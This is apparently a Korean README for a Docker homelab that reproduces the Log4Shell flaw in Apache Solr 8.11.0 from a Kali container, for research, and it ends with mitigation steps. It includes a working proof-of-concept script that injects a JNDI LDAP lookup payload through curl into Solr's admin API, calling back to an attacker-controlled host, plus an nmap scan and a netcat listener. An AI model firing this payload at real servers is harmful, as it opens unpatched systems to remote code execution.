
Log4j Vulnerability homelab
Docker를 사용한 통제된 환경으로, Apache Solr에서 Log4Shell 취약점을 재현하고 연구합니다.
solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) – 취약한 Log4j 버전 실행.kali-lab): 기본 Kali Linux 컨테이너로 nmap, curl, netcat이 사전 설치됨.터미널에서 백그라운드 환경을 실행합니다:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
Kali 컨테이너 내에서 자신의 서브넷을 확인하고 Apache Solr의 IP를 찾습니다:
# 1. 자신의 IP와 서브넷 마스크 확인
hostname -I
# 2. 대상 IP( Solr 포트: 8983)를 찾기 위해 내부 네트워크 스캔
# (아래 서브넷은 이전 명령어에서 얻은 IP에 맞게 변경)
nmap -p 8983 172.20.0.0/24
poc.sh 스크립트는 Solr 관리 API의 매개변수에 JNDI lookup 페이로드를 주입합니다.
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "사용법: $0 <lhost> <rhost> [lport]"
echo "예: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] 대상: $TARGET"
echo "[*] 공격자(LDAP): $KALI, 포트 $PORT_KALI"
echo "[*] 익스플로이트 발사..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
Kali 내에서 스크립트에 권한을 부여하고 올바른 IP를 전달하여 실행합니다:
chmod +x poc.sh
./poc.sh <KALI_IP> <SOLR_IP> 1389
여기서 무슨 일이 일어나나요? Solr가 요청을 처리하고 지정된 포트의 Kali IP로 LDAP 연결을 열려고 시도합니다. 스크립트를 실행하기 전에 Kali에서 빠른 리스너를 열어 이 연결 시도를 모니터링할 수 있습니다 (예:
nc -lnvp 1389).
Log4j 2의 결함을 수정하려면:
2.15.0 이상 또는 2.17.1 이상)으로 마이그레이션합니다.-Dlog4j2.formatMsgNoLookups=true 플래그를 추가하여 lookup을 비활성화합니다.zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class